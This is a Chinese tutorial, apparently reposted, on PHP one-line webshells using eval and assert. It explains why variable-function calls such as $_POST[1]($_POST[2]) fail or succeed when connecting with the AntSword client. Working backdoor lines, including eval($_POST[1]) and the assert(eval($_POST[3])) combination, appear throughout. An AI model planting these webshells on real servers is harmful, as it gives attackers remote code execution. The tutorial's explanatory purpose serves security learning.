eval和assert执行一句话木马
首先介绍一下木马中最简单的存在,俗称一句话木马
-
-
eval($_POST[1]);
-
eval()
eval(str)是把str字符串按照php代码来计算或执行
该str字符串必须是合法的PHP代码,且必须以分号结尾
assert()
assert()包含于头文件assert()中,主要有assert()宏组成,
它接受一个int表达式作为其参数,若表达式求值的结果为真(1),则继续程序的执行;若为假(0),则assert()宏就在标准错误流(stderr)中写入一条错误信息,并同时调用abort()函数来终止程序。
assert()函数的主要功能是用于辅助调试程序。
一、木马测试
1.1 eval()
首先构造如下木马,用蚁剑测试连接
连接并可成功修改文件(插入 i love you)
二、升级木马并进行测试
2.1 eval()测试
-
-
$_POST[1]($_POST[2]);
-
测试 1=eval() 构造 eval($_POST[2])
结果是无法连接,下面分析原因
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:
-
-
function eval_1($str)
-
{
-
eval($str);
-
}
-
$a='eval_1';
-
$a('phpinfo()');
-
2.2 assert()测试
-
-
$_POST[1]($_POST[2]);
-
a. 测试 1=assert
连接失败!再做其他测试
b. 再选择base64尝试连接,则连接成功!!
c. 测试 1=assert 2=$_POST[3] base64 连接密码:3
为什么看似正常的操作,却有的成功连接,有的又失败呢?这是为撒子?
不要慌,看我们接下俩分析:
对于实验 c ,我们利用burpsuit进行抓包并分析,可以看出明显的问题:
首先注意:
我们要清楚——eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)
这里我们 1 提交的是assert ,2提交的$_POST[3],我们本意是为了执行assert($_POST[3])
而蚁剑同时也post 了 '3' 这个数据变成 @ini_set 之类的东西,导致assert中又变成了字符串,所以连接失败。
再用butpsuit对未选择base64的实验 b 抓包,可见assert后面的是字符串,因此连接失败!
而当执行base64时,连接成功,是因为是在执行中多了个 eval() 函数,因此我们实际上是再执行assert(eval()),eval()中参数是字符串,因此连接成功!
assert('xxxx') 里面只有字符串
assert(eval(base64xxxx)); 里面有eval函数
三、 eval()与assert()结合测试
测试链接成功!!
我们抓包查看 ,则能明显发现原因:
我们1提交assert,2提交eval($_POST[3]),构造执行了 assert(eval($_POST[3]))
同时满足assert中参数为函数,eval中参数为字符串。因此执行成功!
总结
最后在强调重点:
eval函数中参数是字符,如:
eval('xxxx');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgaekbh
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13